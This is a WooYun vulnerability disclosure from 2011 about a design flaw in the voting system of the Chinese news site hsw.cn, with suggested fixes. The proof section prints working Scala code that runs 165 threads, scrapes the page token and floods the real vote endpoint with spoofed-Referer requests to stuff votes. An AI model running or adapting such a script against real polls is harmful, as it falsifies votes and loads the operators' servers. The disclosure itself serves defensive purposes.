当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-02378

漏洞标题:华商网 投票系统设计缺陷

相关厂商:华商网

漏洞作者: 小数点

提交时间:2011-07-04 00:06

修复时间:2011-07-04 13:12

公开时间:2011-07-04 13:12

漏洞类型:设计缺陷/逻辑错误

危害等级:低

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-07-04: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-07-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

投票限制形同虚设
专题地址:http://health.hsw.cn/system/2011/05/11/050936197.shtml

详细说明:


专题地址:http://health.hsw.cn/system/2011/05/11/050936197.shtml
firame嵌入投票地址:http://toupiao.hsw.cn/fangchan/index_all.php?table=109&n=75&width=125&height=160&s=5&widths=900
投票已代码里的一个code,及本地js判断cookie限制,系统虚设。
一个简单的多线程就能在几分钟内头上上万票。

漏洞证明:

上面的投票基本多少在几分钟内跑出来的。
测试的部分scala代码(自己封装的一个httpclient类):
val header = HttpClientService.getDefaultHeader
header += (("Referer", "http://toupiao.hsw.cn/fangchan/index_all.php?table=109&n=75&width=125&height=160&s=5&widths=900"))
val mybreaks = new scala.util.control.Breaks
import mybreaks.{break, breakable}
val num = 165
val countDownLatch = new CountDownLatch(num);
for (i <- 1 to num) {
val vid = i
new Thread() {
override def run() {
var httpClientService = new HttpClientServiceImpl
httpClientService.setCharset("UTF-8")
breakable {
for (j <- 1 to 10000) {
try {
var html = httpClientService.get("http://toupiao.hsw.cn/fangchan/index_all.php?table=109&n=75&width=125&height=160&s=5&widths=900")
val source = new Source(html)
val code = source.getElementById("code").getAttributeValue("value")
// println("code:" + code)
//var ret = httpClientService.get("http://toupiao.hsw.cn/fangchan/counts.php?action=result&vote_id=" + vid + "&value=1&table=109&a=" + code, null, header)
//println(this.getId + ":" + vid + ":" + ret)
//if (ret.trim.toInt < 148038) {
val ret = httpClientService.get("http://toupiao.hsw.cn/fangchan/counts.php?action=vote&vote_id=" + vid + "&value=1&table=109&a=" + code, null, header)
println(ret)
//} else {
// break
//}
} catch {
case e =>
e.printStackTrace()
}
}
}
countDownLatch.countDown()
}
}.start()
}
countDownLatch.await()

修复方案:

1.投票加ip限制
2.加用户登录及用户投票数限制
3.复杂的验证码
4.php内使用memcache的add方法,数据库唯一索引等防止并发

版权声明:转载请注明来源 小数点@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:12 (WooYun评价)